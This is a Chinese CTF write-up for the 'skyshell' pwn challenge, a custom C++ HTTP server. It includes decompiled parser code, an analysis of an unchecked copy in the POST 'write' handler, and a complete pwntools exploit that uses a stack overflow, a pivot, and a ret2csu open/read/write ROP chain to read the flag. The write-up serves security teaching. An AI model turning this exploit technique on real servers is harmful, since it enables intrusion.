0%

2022赣育杯pwn1-skyshell题解

2022赣育杯skyshell题解

用c++实现的httpd

题目给了一个二进制文件、start.sh以及www文件夹

image-20221011101559520

1
2
3
4
#! /bin/bash
PORT=8888
echo "listen on $PORT"
socat tcp-listen:$PORT,reuseaddr,fork exec:./pwn

本地运行start.sh,浏览器访问8888端口

image-20221011101825348

实现了一个简易的shell,不过如果去分析www目录下的shell.js可以发现这里是一个假的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
TerminalShell.commands.dir = TerminalShell.commands.ls = function(b, c) {
var a = $("<ul>");
$.each(this.pwd,
function(d, e) {
if (e.type == "dir") {
d += "/"
}
if ((d[0] != "." && d[0] != "/") || b.map || b.god) {
a.append($("<li>").text(d))
}
});
if(c) {
if(c == "/") {
b.print("bin boot dev etc flag home lib lib64 lost+found opt proc root run sbin srv sys tmp usr var");
}else if(c == "/home") {
b.print("sky");
}else {
b.print("ls: cannot access '" + c + "': Permission denied");
}

}else {
b.print(a)
}
};

大部分命令都是前端处理输出的

1
2
3
4
5
6
7
8
9
10
11
12
13
TerminalShell.commands.write = function(a, b) {
if(b) {
a.print("you write [" + b + "] to admin ");

$.post("/?request=write",{msg:b},function(result){
a.print("response: " + result.msg);
//$("span").html(result);
});
}else {
a.print("Usage: write [your msg]");
}

};

只有write命令是对后端进行了一个GET+POST的请求

接下来分析附件中的二进制文件

IDA简单分析过后可以找到解析http报文的函数:hackme::net::http::parse_header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
v42 = (__int64)this + 24;
v44 = 0;
v43 = std::string::find((char *)this + 24, "\r\n", 0LL);
if ( v43 >= 0 )
{
std::string::substr(v15, v42, 0LL, v43);
v1 = std::string::size(v42);
if ( v1 <= v43 + 2 )
{
v44 = 1;
}
else
{
std::string::substr(v16, v42, v43 + 2, -1LL);
std::string::operator=(v42, v16);
std::string::~string(v16);
v41 = -1;
v2 = std::string::find(v15, "GET", 0LL);
v41 = v2;
if ( v2 < 0 )
{
v41 = std::string::find(v15, "POST", 0LL);
if ( v41 < 0 )
{
v41 = std::string::find(v15, "HEAD", 0LL);
if ( v41 < 0 )
{
v41 = std::string::find(v15, "DELETE", 0LL);
if ( v41 < 0 )
{
std::allocator<char>::allocator(&v26);
std::string::basic_string(v25, "method", &v26);
v7 = std::map<std::string,std::string>::operator[]((char *)this + 152, v25);
std::string::operator=(v7, "unknown");
std::string::~string(v25);
std::allocator<char>::~allocator(&v26);
}
else
{
v43 = v41;
std::allocator<char>::allocator(&v24);
std::string::basic_string(v23, "method", &v24);
v6 = std::map<std::string,std::string>::operator[]((char *)this + 152, v23);
std::string::operator=(v6, "delete");
std::string::~string(v23);
std::allocator<char>::~allocator(&v24);
}
}
else
{
v43 = v41;
std::allocator<char>::allocator(&v22);
std::string::basic_string(v21, "method", &v22);
v5 = std::map<std::string,std::string>::operator[]((char *)this + 152, v21);
std::string::operator=(v5, "head");
std::string::~string(v21);
std::allocator<char>::~allocator(&v22);
}
}
else
{
v43 = v41;
std::allocator<char>::allocator(&v20);
std::string::basic_string(v19, "method", &v20);
v4 = std::map<std::string,std::string>::operator[]((char *)this + 152, v19);
std::string::operator=(v4, "post");
std::string::~string(v19);
std::allocator<char>::~allocator(&v20);
}
}
else
{
v43 = v41;
std::allocator<char>::allocator(&v18);
std::string::basic_string(v17, "method", &v18);
v3 = std::map<std::string,std::string>::operator[]((char *)this + 152, v17);
std::string::operator=(v3, "get");
std::string::~string(v17);
std::allocator<char>::~allocator(&v18);
}
if ( v43 >= 0 )
{
v40 = std::string::find(v15, 47LL, 0LL);
if ( v40 >= 0 )
{
std::string::substr(v27, v15, v40, -1LL);
std::string::operator=(v15, v27);
std::string::~string(v27);
v39 = std::string::find(v15, 32LL, 0LL);
if ( v39 >= 0 )
{
std::string::substr(v28, v15, 0LL, v39);
std::allocator<char>::allocator(&v30);
std::string::basic_string(v29, "url", &v30);
v8 = std::map<std::string,std::string>::operator[]((char *)this + 152, v29);
std::string::operator=(v8, v28);
std::string::~string(v29);
std::allocator<char>::~allocator(&v30);
std::string::~string(v28);
std::string::substr(v31, v15, v39, -1LL);
std::string::operator=(v15, v31);
std::string::~string(v31);
v38 = std::string::find(v15, 47LL, 0LL);
if ( v38 >= 0 )
{
std::string::substr(v32, v15, v38 + 1, -1LL);
std::allocator<char>::allocator(&v34);
std::string::basic_string(v33, "version", &v34);
v9 = std::map<std::string,std::string>::operator[]((char *)this + 152, v33);
std::string::operator=(v9, v32);
std::string::~string(v33);
std::allocator<char>::~allocator(&v34);
std::string::~string(v32);
}
else
{
v44 = 1;
}
}
else
{
v44 = 1;
}
}
}
else
{
v44 = 1;
}
}
std::string::~string(v15);
}
else
{
v44 = 1;
}
if ( v44 == 1 )
{
std::map<std::string,std::string>::clear((char *)this + 152);
return v44;
}
else
{
while ( 1 )
{
v37 = -1;
v36 = -1;
v37 = std::string::find(v42, "\r\n", 0LL);
if ( v37 < 0 )
break;
std::string::substr(v13, v42, 0LL, v37);
std::string::substr(v35, v42, v37 + 2, -1LL);
std::string::operator=(v42, v35);
std::string::~string(v35);
v36 = std::string::find(v13, 58LL, 0LL);
if ( v36 >= 0 )
{
std::string::substr(v14, v13, 0LL, v36);
std::string::substr(v15, v13, v36 + 2, -1LL);
hackme::net::http::str_lower(this, v14);
hackme::net::http::str_lower(this, v15);
v12 = std::map<std::string,std::string>::operator[]((char *)this + 152, v14);
std::string::operator=(v12, v15);
std::string::~string(v15);
std::string::~string(v14);
v11 = 1;
}
else
{
v44 = 0;
v11 = 0;
}
std::string::~string(v13);
if ( v11 != 1 )
return v44;
}
return 1;
}
}

分析这个函数的代码是能拿到输入格式的,不过社畜师傅教了一个更简单的方法,直接抓包拿到http报文

image-20221011103808822

write命令使用GET传参的方法,write后面接的数据使用POST传参的方法。从右边的响应可以看到后端在请求成功是有回显的

而后端正是运行的二进制文件,去IDA的字符串窗口搜索该字符串,交叉引用找到调用该字符串的地方就能找到write命令了

这里有一个copy的操作

将从v2拷贝v1长度的数据到dest,而v1的大小刚好就是接在write命令之后的数据长度,也就是说这里是我们可控的,只要控制好我们write的数据就能挟持程序控制流了

为了验证我们的猜想,在网页端POST一段垃圾数据进去试试

image-20221011105422527

在POST了0x1000大小的数据后网页直接寄了

image-20221011105518525

server端也是成功crash,说明咱们的溢出成功了

剩下的就是简单的栈溢出+retcsu构造orw了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
binary = "./pwn"
elf = ELF(binary)
ip = '1.14.71.254'
port = 28834
local = 1
if local:
io = process(binary)
else:
io = remote(ip, port)

context.log_level = "debug"

def debug():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def post(con):
payload = b'POST /?request=write HTTP/1.1\r\n'
payload += b'Content-Length: ' + str(len(con)).encode() + b'\r\n'
payload += b'\r\n'
payload += con
s(payload)


leave_ret = 0x403669
pop_rbp = 0x403590
start = 0x40066E
bss = elf.bss() + 0x500
gadget1 = 0x411260 #call r12
gadget2 = 0x41127A #6 pop ret
def ret2csu(rdi, rsi, rdx, r12):
payload = b''
payload += p64(gadget2) + p64(0) + p64(1) + p64(r12) + p64(rdi) + p64(rsi) + p64(rdx)
payload += p64(gadget1) + b'\x00' * 0x38
return payload

pop_rdi = 0x411283
pop_rsi = 0x409c7a
payload = b'a' * 0x5d8 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(elf.plt['read'])
payload += p64(pop_rbp) + p64(bss) + p64(leave_ret)
#gdb.attach(io, 'b* 0x404767')
#gdb.attach(io, 'b* 0x404739')

post(payload)


orw = b'flag' + p32(0)
orw += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(elf.plt['open'])
orw += ret2csu(0x30, bss + 0x200, 3, elf.got['read'])
orw += p64(pop_rdi) + p64(1) + p64(elf.plt['write'])
s(orw)
ia()

image-20221011105721130

成功get flag